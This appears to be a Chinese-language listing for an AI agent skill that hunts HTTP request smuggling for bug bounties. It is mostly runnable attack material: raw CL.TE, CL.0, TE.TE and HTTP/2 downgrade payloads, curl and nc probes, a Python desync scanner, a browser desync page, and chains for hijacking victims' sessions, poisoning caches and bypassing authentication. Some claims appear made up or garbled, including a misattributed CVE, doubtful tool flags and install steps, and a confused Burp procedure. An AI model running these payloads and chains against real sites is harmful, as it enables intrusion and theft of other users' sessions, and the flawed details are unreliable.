关于 hunt-http-smuggling
用于检测代理与后端请求解析差异所致 HTTP 请求走私和不同步问题的 Web 安全测试技能。涵盖经典方式及 HTTP/2 降级变体,并提供探测方法与结果判读指引。
主要功能
- 01测试 CL.TE 和 TE.CL 变体
- 02涵盖 HTTP/2 降级不同步
- 03提供 CL.0 和 TE.TE 探测
- 04评估前端代理适用性
- 05说明检测信号与影响
适用场景
- 01测试代理到后端的请求处理
- 02评估 HTTP/2 到 HTTP/1.1 的部署
- 03调查可疑请求延迟
- 04评估缓存投毒或会话风险
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-http-smuggling安装后在 Claude Code 中输入/hunt-http-smuggling确认已加载。
详细介绍
17. HTTP 请求走私
重复率最低。$5K–$30K。James Kettle 的 PortSwigger 研究。
CL.TE(前端按 Content-Length 处理,后端按 Transfer-Encoding 处理)
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
检测
1. Burp extension: HTTP Request Smuggler
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of body
影响链
Poison next request → access admin as victim
Steal credentials → capture victim's session
Cache poisoning → stored XSS at scale
目标适用性矩阵(2026 年现状核查)
经典 CL.TE / TE.CL 载荷在 2026 年并非普遍可利用。现代代理默认严格遵循 RFC 9112。投入时间前,先识别前端指纹。
| 前端 | CL.TE | TE.CL | H2.CL | H2.TE | 备注 |
|---|---|---|---|---|---|
| Nginx >= 1.21 | 否 | 否 | 部分支持(H2 入口) | 部分支持 | 常见配置会拒绝含糊的 CL+TE 请求,但具体行为仍取决于完整的代理链。 |
| Caddy 2.x | 否 | 否 | — | — | 默认已加固 |
| Envoy ≥ 1.20 | 否 | 否 | 部分支持 | 部分支持 | 大多数路径都已加固 |
| HAProxy ≤ 2.4 | ✓ | ✓ | — | — | 存在漏洞,参见 CVE-2021-40346 |
| AWS ALB + 特定上游 | 部分支持 | 部分支持 | ✓ | ✓ | 2022-2024 年披露了多份付费报告 |
| Cloudflare → S3 / Lambda 链 | — | — | ✓ | ✓ | H2 降级攻击仍然可行 |
| 较旧的 F5 BIG-IP(TMM < 16) | ✓ | — | — | — | 参见供应商公告 |
| Citrix ADC / NetScaler(较旧固件) | ✓ | ✓ | — | — | 2020-2022 年披露 |
| Squid 3.x | ✓ | — | — | — | 较旧的部署 |
| Apache Traffic Server(较旧版本) | ✓ | ✓ | ✓ | ✓ | PortSwigger 研究 |
| 自定义 Python / Go 代理 | ✓ | ✓ | — | — | 经常未能强制执行 RFC 规范 |
运营人员快速检查前端指纹
curl --max-time 30 --connect-timeout 10 -sI https://target/ | grep -i "Server:"
nginx/1.21+、Caddy、envoy→ 经典 CL/TE 已失效;如果前端支持 HTTP/2,则转向 H2.CL/H2.TE,或查找上游的旧版代理HAProxy、标头指向 AWS/CDN → 运行完整的载荷矩阵- 没有 Server 标头 → 假设已加固,但先快速测试一次
space-before-colon;如果未返回 400,则深入检查
H2.CL / H2.TE(当前主要攻击向量)
H2 降级走私攻击依赖于前端对客户端使用 HTTP/2、对源站使用 HTTP/1.1。降级过程会造成 CL/TE 混淆,因为 HTTP/2 的帧长度标头在转换过程中无法被干净地保留。2024-2026 年,大多数 CDN+源站链都采用这种拓扑。
针对 CDN 前置目标,使用能发送 HTTP/2 原始帧的工具(Burp Pro 的 HTTP Request Smuggler 扩展、h2csmuggler、smuggler.py)是合适的起点。对 H2 前置目标,避免使用仅支持 HTTP/1.1 的测试客户端(curl、原始套接字)——你发送的协议完全不对。
CL.0 脱同步(后端忽略 Content-Length)
也称为“CL.0”或“忽略 Content-Length”。前端读取 Content-Length 并转发请求正文。后端不会解析 Content-Length,而是一直读取到连接关闭。在 keep-alive 连接上,这会使正文中的字节残留,并被当作下一个请求的开头。
使用原始套接字检测:
# CL.0 probe — send a POST with smuggled prefix after the body
# The backend ignores CL and treats the smuggled bytes as the next request
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nConnection: keep-alive\r\n\r\nSMUGGL'
sleep 2
echo -en 'GET /404 HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 443
基于 Curl 的盲测:
# CL.0 timing probe: delay on backend indicates CL ignored
curl --max-time 30 --connect-timeout 10 -s --raw -X POST "https://target.com/" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
-d $'x' \
--max-time 15 \
-w "\nHTTP_CODE: %{http_code}\nTIME: %{time_total}\n"
以下情况最容易出现 CL.0:
- 自定义 Go/Python/Rust 后端使用
http.Handler和r.Body.Read,却未强制执行 CL - 代理后面的 PHP-FPM(当
max_input_vars未达到限制时,PHP 会忽略 POST 请求中的 CL) - Server-Timing 标头泄露内部代理处理信息
关键指标: 一个 CL 不匹配的 POST 请求未返回 HTTP 400。后端毫无异议地接受了错误的 Content-Length。
H2.CL 不同步(HTTP/2 → HTTP/1.1 CL 注入)
攻击者发送包含 content-length 标头的 HTTP/2 请求。HTTP/2 前端信任自身的帧长度来界定请求,并将 CL 标头传递给 HTTP/1.1 后端。随后,后端使用降级后的 CL 标头进行界定,而前端已读取完整帧——这会导致上游 HTTP/1.1 连接发生不同步。
Netflix 2 万美元案例分析(HackerOne 2021-2022):
- 研究人员 @defparam 发现,Netflix 的 HTTP/2 终止层会将
content-length标头转发到 HTTP/1.1 上游连接 - HTTP/2 帧长度为 0(没有请求体),但注入的
content-length: 50标头让后端认为还有 50 个字节需要读取 - 前端将下一个请求的字节作为走私请求的“请求体”转发
- 影响:投毒 Netflix API 响应缓存、劫持共享上游连接上的会话
- 赏金:20,000 美元。修复方法是从所有 H2→H1.1 降级请求中剥除
content-length。
使用 h2csmuggler 检测:
# Install h2csmuggler
pip install h2csmuggler
# Probe H2.CL with a delay-based detector
h2csmuggler.py -x https://target.com --h2cl --method GET --path "/" \
--smuggled-path "/api/internal/admin" \
--smuggled-host "target.com" \
--delay 5
Burp 手动探测:
- Burp → Repeater → 将协议切换为 HTTP/2
- 移除
:method伪标头的请求体长度(设为 0) - 添加
content-length: 100作为常规标头 - 将走私请求放入标头后的
DATA帧中 - 发送 → 观察后续请求是否会触发对
/smuggled-path的 404 响应
H2.TE 不同步(HTTP/2 Transfer-Encoding 注入)
HTTP/2 官方移除了 Transfer-Encoding——它只使用帧长度。但当前端将 H2 降级为 H1.1,并允许 transfer-encoding: chunked 在转换后保留时,H1.1 后端会使用 TE 并等待分块边界。攻击者发送一个完整的 H2 帧(满足前端要求),再附上后端无法读完的分块请求体 → 下一个请求的字节会被当作分块请求体读取。
AWS ALB 案例分析(Albibir,2023):
- 研究人员发现,当 AWS Application Load Balancer(ALB)配置为使用 HTTP/2 监听器和 HTTP/1.1 目标组时,会将 HTTP/2 请求中的
transfer-encoding标头传递到 HTTP/1.1 上游 - ALB 正确地使用帧长度终止 H2,但在 H1.1 上游请求中包含了 TE: chunked
- Nginx/HTTPD 源站随后会将请求体解析为分块编码——0\r\n\r\n 结束当前分块,后续字节则组成一条走私 HTTP 请求
- 影响:完全投毒 ALB 缓存的响应、窃取通过 ALB 连接的微服务之间的凭据
- 披露:经确认复现后,AWS 发布了补丁——ALB 现在会在降级时剥除 TE 标头
- 此模式与 CVE-2022-22963(Spring Cloud Function)类似,均利用了代理不同步
检测:
# H2.TE probe with h2csmuggler
h2csmuggler.py -x https://target.com --h2te --method POST --path "/" \
--body "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" \
--delay 10
# Manual H2.TE via Burp (Repeater → HTTP/2):
# 1. Add header: transfer-encoding: chunked
# 2. Body: "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n"
# 3. The DATA frame has full body, but backend reads chunked encoding
# 4. Follow with a real GET / → expect 404 for /404
ALB 存在漏洞的条件:
- ALB 监听器协议:HTTPS(HTTP/2)
- 目标组协议:HTTP/1.1
- 源站服务器会在保持活动状态的连接上解析分块编码
- 使用以下命令验证:
curl -si https://target/ | grep -i "server:"——即使没有明确的 ALB 标头,也应进行测试
TE.TE 混淆(请求头走私)
当前端和后端都支持 Transfer-Encoding,但解析请求头的方式不同,混淆变体可能导致一端识别 TE,而另一端忽略它。
变体矩阵:
| 变体 | 请求头 | 前端行为 | 后端行为 |
|---|---|---|---|
| 分块编码 + 空格 | Transfer-Encoding : chunked | 名称后有空格 → 忽略 TE | 正确读取 TE |
| 制表符注入 | Transfer-Encoding:\tchunked | 值前有制表符 → 跳过 TE | 读取 chunked |
| 重复请求头 | Transfer-Encoding: x + Transfer-Encoding: chunked | 选择第一个 → 跳过 | 选择最后一个 → 使用 chunked |
| x-chunked | Transfer-Encoding: xchunked | 不匹配 → 无 TE | 容错处理 → 读取 chunked |
| 随机填充 | Transfer-Encoding: chunked\r\nTransfer-Encoding: identity | 采用第一个(identity)→ 无 TE | 采用最后一个(chunked)→ TE |
| 请求头前的垃圾内容 | Transfer-Encoding:\r\n chunked | 折叠行 → 忽略 | 读取为 chunked |
| 过时的折叠行 | Transfer-Encoding:\r\n chunked | RFC 7230 过时的折叠行 → 忽略 | 容错解析器接受 |
| 大小写混合 | Transfer-Encoding: ChuNkEd | 严格的小写检查 → 忽略 | 不区分大小写 → 接受 |
检测脚本:
# TE.TE probe: tab injection
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding:\tchunked" \
-H "Content-Length: 4" \
-d $'0\r\n\r\n' \
-w "HTTP_CODE: %{http_code}\n" \
--max-time 10
# TE.TE probe: space before colon
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding : chunked" \
-H "Content-Length: 4" \
-d $'0\r\n\r\n' \
-w "HTTP_CODE: %{http_code}\n"
# TE.TE probe: double header (front picks first, back picks last)
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding: x" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
-d $'0\r\nSMUGGLED\r\n' \
-w "HTTP_CODE: %{http_code}\n"
# TE.TE probe: X-chunked variant
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/" \
-H "Transfer-Encoding: xchunked" \
-d $'0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n' \
--max-time 10
结果解读:
- 混淆请求头返回 HTTP 400 → 前端较严格(符合 RFC 9112)
- 返回 HTTP 200 但未发生不同步 → 后端接受了 TE,但不具备另一端的解析行为
- 超时或后续请求返回走私的响应 → 确认发生 TE.TE 不同步
客户端侧不同步(浏览器驱动的请求走私)
由 James Kettle(PortSwigger,2023 年)发现。攻击者不是通过直接连接进行请求走私,而是利用受害者的浏览器发送精心构造的 POST 请求,其中包含 Connection: keep-alive,并且请求正文被代理视为完整,但后端视为不完整。随后,浏览器与代理之间的连接会遭到污染——受害者在该连接上的下一个请求将收到走私的响应。
与服务端侧不同步的关键区别: 浏览器是走私者。代理和后端是受害者。无需直接套接字连接。
机制:
- 攻击者托管一个页面,其中包含
fetch('https://vuln-proxy/', { method: 'POST', body: '0\r\n\r\nGET /login HTTP/1.1\r\nHost: vuln-proxy\r\n\r\n', mode: 'cors' })(或使用no-cors和keepalive: true) - 浏览器发送 POST 请求。前端代理认为正文已由 Content-Length 消耗完毕。
- 后端使用不同的解析器读取正文(或在没有 CL 的情况下使用 Connection: keep-alive),并将回车符视为请求边界。
- 受害者的下一个请求(一个正常的 GET /index.html)到达走私前缀之后 → 走私请求的响应被返回给受害者。
检测:
# Serve a test page that fires a desync probe from the browser
cat > /tmp/csd-test.html << 'EOF'
<!DOCTYPE html>
<html>
<body>
<script>
// Client-Side Desync probe — sends a POST with dangling body bytes
fetch('https://target.com/', {
method: 'POST',
mode: 'no-cors', // keepalive needed for connection reuse
keepalive: true,
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
});
// Follow-up fetch to see if connection was poisoned
setTimeout(() => {
fetch('/dashboard')
.then(r => r.text())
.then(t => console.log('DASHBOARD RESPONSE:', t.substring(0, 200)));
}, 1000);
</script>
</body>
</html>
EOF
# Start a local server to serve the page
python3 -m http.server 8888 --directory /tmp/
# Then open http://localhost:8888/csd-test.html in a browser pointed at target
客户端侧不同步的前提条件:
- 代理支持 HTTP/1.1 keep-alive 和连接复用
- 后端不会消耗完整个正文(忽略 CL 或分块编码不匹配)
- 浏览器 CORS 策略允许
no-cors+keepalive: true(始终允许) - 受害者的浏览器必须已与代理建立开放连接(keep-alive 连接池)
通过 curl 模拟进行检测:
# Simulate what the browser sends — POST with body, then GET on same connection
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 30\r\nContent-Type: text/plain\r\nConnection: keep-alive\r\n\r\n'
echo -en '0\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: target.com\r\n'
sleep 1
echo -en 'GET /dashboard HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 80
HTTP 异常等级(HA Rank)
用于量化目标对 HTTP 反向代理请求走私的易受攻击程度的 0–5 评分系统。分数越高,风险越大。
| 分数 | 标签 | 判定标准 | 操作 |
|---|---|---|---|
| 0 | 免疫 | 严格遵循 RFC 9112;对任何 CL+TE 组合均返回 400;H2→H1.1 会移除所有请求体标头 | 继续测试其他目标 |
| 1 | 低 | 对 CL+TE 返回 200,但未观察到反向代理请求走私;H2 降级测试结果为阴性 | 记录并跳过 |
| 2 | 中等 | 接受 CL+TE;时序探测显示轻微连接卡顿;H2 反向代理请求走私测试结果为阴性 | 运行自动化扫描器 |
| 3 | 高 | 通过时序探测确认存在 CL/CL.0 或 TE 混淆;H2.CL 或 H2.TE 显示部分反向代理请求走私 | 执行完整的手动漏洞利用链 |
| 4 | 严重 | 通过捕获第二个请求的后续响应确认存在反向代理请求走私;可能造成缓存投毒 | 立即停止其他工作。构建完整漏洞利用链 PoC |
| 5 | 紧急 | 已在生产环境的 keep-alive 连接池中确认缓存投毒或凭据窃取;多个上游连接受到影响 | 立即提交披露报告 |
快速 HA Rank 计算器:
# HA Rank automation (bash one-liner — run against target)
function ha_rank() {
local t=$1
local score=0
# Test 1: CL+TE coexistence → does the server 400?
curl --max-time 30 --connect-timeout 10 -sk -m 10 -X POST "$t/" -H "Content-Length: 4" -H "Transfer-Encoding: chunked" -d $'x' -w "%{http_code}" | grep -q 400 && echo "CL+TE → 400 (RFC strict)" || { echo "CL+TE → accepted (+1)"; score=$((score+1)); }
# Test 2: Timing desync probe
timeout 15 curl --max-time 30 --connect-timeout 10 -sk -X POST "$t/" -H "Transfer-Encoding: chunked" -d $'0\r\n\r\nGET / HTTP/1.1\r\nHost: x\r\n\r\n' -w "%{time_total}" 2>/dev/null | awk '{if ($1 > 5) print "Timing desync (+2)"; else print "No timing desync"}'
# Test 3: TE.TE obfuscation (tab injection)
curl --max-time 30 --connect-timeout 10 -sk -m 10 -X POST "$t/" -H $'Transfer-Encoding:\tchunked' -d $'0\r\n\r\n' -w "%{http_code}" | grep -q 400 && echo "TE.TE tab → blocked" || echo "TE.TE tab → accepted (+1)"
# Test 4: H2.CL if H2 available
which h2csmuggler 2>/dev/null && h2csmuggler.py -x "$t" --h2cl --method GET --path "/" --delay 3 2>&1 | grep -q "VULNERABLE" && { echo "H2.CL vulnerable (+2)"; score=$((score+2)); }
echo "--- HA Rank: $score/5 ---"
}
# Usage:
# ha_rank https://target.com
检测方法(基于技术栈的测试)
根据检测到或推测的技术栈选择测试变体。不要对每个目标发送所有有效载荷——浪费请求会消耗侦察时间。
| 检测到的技术栈 | 主要测试 | 次要测试 | 跳过 |
|---|---|---|---|
| nginx 1.21+ | H2.CL(如果启用了 H2) | H2.TE | CL.TE、TE.CL、CL.0 |
| Caddy 2.x | H2.TE(H2 为默认设置) | — | 其他全部 |
| HAProxy ≤ 2.4 | CL.TE | TE.CL、TE.TE 混淆 | H2(不支持 H2) |
| Envoy 1.20+ | H2.CL(如果前端使用 H2) | CL.0(自定义上游) | CL.TE、TE.CL |
| AWS ALB | H2.TE | H2.CL、CL.0 | CL.TE(ALB 会在 H1 上移除 TE) |
| Cloudflare | H2.CL(降级到源站) | H2.TE | CL.TE(CF 边缘节点严格遵循 RFC) |
| Akamai | TE.TE 混淆 | H2.CL | CL.TE |
| Fastly | CL.0(Fastly 的已知行为) | H2.TE | TE.CL |
| Apache httpd 2.4 | TE.TE 混淆 | CL.TE | H2.CL(不原生支持 H2) |
| 自定义 Go/Python 代理 | CL.0 | CL.TE、TE.TE | 除非已确认,否则跳过 H2 |
| 代理后的 Java/Tomcat | H2.TE | CL.0 | TE.CL(Tomcat 会拒绝 TE) |
通用工作流:
# Step 1: Fingerprint the stack
curl --max-time 30 --connect-timeout 10 -sI "https://target.com/" | grep -iE "^(server:|via:|x-powered-by:|x-served-by:|cf-ray:|akamai|fastly)"
# Or use httpx for stack detection
httpx -u "https://target.com/" -td -sc -server
# Step 2: Quick RFD (Request Fingerprint Detection) — does the endpoint return 400 on garbage?
curl --max-time 30 --connect-timeout 10 -s -m 5 -X PURGE "https://target.com" -w "%{http_code}" # 405 → alive; 400 → strict
# Step 3: Based on stack (table above), run primary and secondary probes
# Step 4: If timing delta > 3s on any probe, escalate to HA Rank scoring
# Step 5: On HA Rank ≥ 3, write the full exploit chain
工具
smuggler.py(PortSwigger / defparam)
原始的 Python3 CL.TE/TE.CL 模糊测试工具。支持多线程扫描和自动检测。
# Install
git clone https://github.com/defparam/smuggler.git /tools/smuggler
cd /tools/smuggler && pip install -r requirements.txt
# Basic scan — test all payloads against a target
python3 smuggler.py -u "https://target.com/" -m POST --timeout 10
# Specific variant scan
python3 smuggler.py -u "https://target.com/" -m POST --cl-te --timeout 15
# Output vulnerable requests to file for manual replay
python3 smuggler.py -u "https://target.com/" -m POST -o /tmp/smuggler_results.txt
# With custom header (e.g., bypassing WAF by doubling Host)
python3 smuggler.py -u "https://target.com/" -m POST -H "X-Forwarded-Host: evil.com"
**限制:**smuggler.py 仅发送 HTTP/1.1 请求。它无法检测 H2.CL 或 H2.TE 变体。对于 HTTP/2 目标,务必使用 h2csmuggler 进行后续测试。
h2csmuggler(Assetnote / VanTuynh)
HTTP/2 → HTTP/1.1 降级请求走私工具链。可处理原始 H2 帧。
# Install
git clone https://github.com/assetnote/h2csmuggler.git /tools/h2csmuggler
cd /tools/h2csmuggler && pip install -r requirements.txt
# H2.CL probe
python3 h2csmuggler.py -x "https://target.com" --h2cl --method GET --path "/" \
--smuggled-path "/api/admin/users" --smuggled-host "internal.target.com"
# H2.TE probe
python3 h2csmuggler.py -x "https://target.com" --h2te --method POST --path "/login" \
--body "0\r\n\r\nGET /debug HTTP/1.1\r\nHost: localhost\r\n\r\n"
# Test all H2 variants
python3 h2csmuggler.py -x "https://target.com" --test-all --delay 10
# Verbose output for debugging
python3 h2csmuggler.py -x "https://target.com" --h2cl -v
Burp Suite — HTTP Request Smuggler 扩展
手动和自动化测试的黄金标准。需要 Burp Suite Professional。
- **安装:**BApp Store → HTTP Request Smuggler(作者:PortSwigger)
- **自动扫描:**右键单击请求 → Extensions → HTTP Request Smuggler → Smuggle Probe(CL.TE、TE.CL、TE.TE)
- **H2 扫描:**需要 Burp 2023.12+,并在 Repeater 中启用 HTTP/2 支持
- **H2 smuggler 选项卡:**Extensions → HTTP Request Smuggler → HTTP/2 Smuggler Configuration → 选择 H2.CL 或 H2.TE
- **Turbo Intruder 集成:**HTTP Request Smuggler 可生成 Turbo Intruder Python 脚本,用于大规模反向代理请求走私测试
**专业提示:**在 Burp 2024+ 中使用“Smuggle via HTTP/2 downgrade”选项,无需手动切换协议即可自动测试 H2.CL/H2.TE。
Turbo Intruder(PortSwigger)
用于高速反向代理请求走私暴力测试——可帮助发现哪个上游连接池存在漏洞。
# Example Turbo Intruder script for H2.CL brute-force
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
engine=Engine.BURP2
)
for i in range(100):
engine.queue(target.req, i)
engine.queue(target.req, i+100)
def handleResponse(req, interesting):
if '404' in req.response or 'smuggled' in req.response:
table.add(req)
CL.0 检测工具(Python)
需要快速测试大量目标时使用的独立 CL.0 扫描器:
#!/usr/bin/env python3
"""CL.0 desync scanner — test if backend ignores Content-Length."""
import socket, ssl, sys, time
def test_cl0(host, port=443, path="/"):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((host, port), timeout=10)
ssock = ctx.wrap_socket(sock, server_hostname=host)
# Probe: POST with CL but include a smuggled prefix
probe = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Length: 6\r\n"
f"Connection: keep-alive\r\n\r\n"
f"SMUGGL"
)
ssock.sendall(probe.encode())
time.sleep(1)
# Follow-up request
follow = (
f"GET /404 HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Connection: close\r\n\r\n"
)
ssock.sendall(follow.encode())
resp = b""
while True:
try:
data = ssock.recv(4096)
if not data:
break
resp += data
except:
break
ssock.close()
return resp
if __name__ == "__main__":
resp = test_cl0(sys.argv[1], int(sys.argv[2]) if len(sys.argv)>2 else 443)
if b"404" in resp and b"SMUGGL" in resp:
print("[!] CL.0 confirmed — smuggled prefix reflected in response")
else:
print("[-] No CL.0 desync detected")
验证
运行此自测,确认已准备好检测 HTTP 请求走私:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-http-smuggling" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能已设置类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
这 3 项测试可确认技能结构完整,已可投入使用。
常见陷阱
- 缺少双层架构却尝试 HTTP 请求走私 — 请求走私需要前端代理和后端服务对请求边界的判断不一致。单层应用不受影响。
- 混淆 TE.CL 与 CL.TE — 这是两种相反的攻击。尝试前先识别具体的不一致之处。
- 发送请求走私探测请求,却没有可确认的副作用 — 探测请求返回 200 或 400 并不能确认请求走私。需要可见的副作用(缓存投毒、请求队列投毒、响应队列)。
- HTTP/2 降级请求走私 — H2C 降级请求走私要求后端接受同一连接上的 HTTP/1.1。请测试后端是否支持 HTTP/1.1。
- 通过请求走私绕过 WAF — 许多 WAF 不会重新组装走私请求。这是请求走私攻击的主要价值所在。
相关技能与攻击链
hunt-cache-poison— 请求走私与缓存结合是典型的严重攻击链:一个走私请求就会成为后续每个受害者收到的缓存响应。攻击链原语:通过 CL.TE 走私一个响应正文包含攻击者 HTML/JS 的请求 → 前端缓存将其存储在热门 URL(/、/login)下 → 发生去同步投毒,走私请求成为接下来 N 个受害者收到的缓存响应,并在缓存 TTL 期间持续生效。hunt-auth-bypass— 请求走私可访问前端 WAF/身份验证代理过滤的仅限内部路由。攻击链原语:将GET /admin/users HTTP/1.1走私越过阻止外部访问/admin/*的前端 ACL → 后端将走私请求视为来自受信任的内部来源 → 通过走私内部路由请求绕过前端身份验证 → 管理员数据进入响应队列。hunt-idor— 请求走私会将下一个用户的会话 Cookie 附加到攻击者控制的请求路径。攻击链原语:走私不带 Cookie 的GET /api/me HTTP/1.1→ 后端将其与下一个合法用户传入连接的 Cookie 配对 → 受害者的会话 Cookie 被附加到攻击者的走私请求 → 攻击者读取包含受害者 PII/令牌的响应。hunt-xss— 请求走私可将 XSS 载荷注入下一个受害者的响应流,而载荷从未出现在 URL 参数中。攻击链原语:走私请求正文包含反射型载荷,后端将其渲染到队列中的下一个响应里 → 下一个访问/的访客收到内嵌攻击者 HTML → 每位访客都会受到反射型 XSS 攻击,且访客和日志中都看不到任何 URL 参数。security-arsenal— 手动编辑十六进制内容前,先使用请求走私载荷库(CL.TE / TE.CL / TE.TE 混淆、H2.CL 降级探测、h2csmuggler 单行命令、Burp HTTP Request Smuggler 扩展配置)和延时确认模板。triage-validation— 在判定为 Critical 前运行严重性预检:走私请求的影响 MUST 落在由不同客户端/会话发出的请求上,而不能落在你自己的后续请求上。仅在自己的浏览器中观察到时间差,说明解析器存在分歧,并不代表存在可利用的请求走私。